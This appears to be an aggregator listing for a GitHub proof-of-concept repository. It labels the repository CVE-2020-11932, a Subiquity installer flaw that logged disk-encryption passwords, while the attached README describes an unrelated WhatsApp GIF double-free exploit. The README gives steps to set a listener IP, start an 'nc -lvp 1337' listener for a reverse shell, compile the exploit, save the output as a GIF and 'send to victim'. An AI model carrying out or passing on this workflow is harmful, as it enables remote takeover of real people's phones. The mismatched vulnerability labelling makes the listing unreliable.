CVE-2020-11932 PoC — Subiquity server installer logged LUKS full disk encryption password

Source

https://github.com/ProjectorBUg/CVE-2020-11932

Associated Vulnerability

Title: Subiquity server installer logged LUKS full disk encryption password (CVE-2020-11932)
Description:It was discovered that the Subiquity installer for Ubuntu Server logged the LUKS full disk encryption password if one was entered.

Description

Double-Free BUG in WhatsApp exploit poc.

Readme

# CVE-2020-11932
 Double-Free bug in WhatsApp exploit poc.
 
 #Note: Make sure to set the listner ip in exploit.c inorder to get shell
 
 - nc -lvp 1337 or whatever port.
 
 - and then compile.
 
 - make
 
 - or 
 
 - gcc -o exploit egif_lib.c exploit.c
 
 - then run ./exploit and save the content to <filename>.gif
 
 - and send to victim.
 
 ### Source
 https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/.
 
 ### Poc_Video
 https://drive.google.com/file/d/1XP7K5zkKEhmbEONvRpjrkTQ5pwpBc6G_/view?usp=sharing
         
 
 
 I don't own this , if you have issues please contact the owner

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →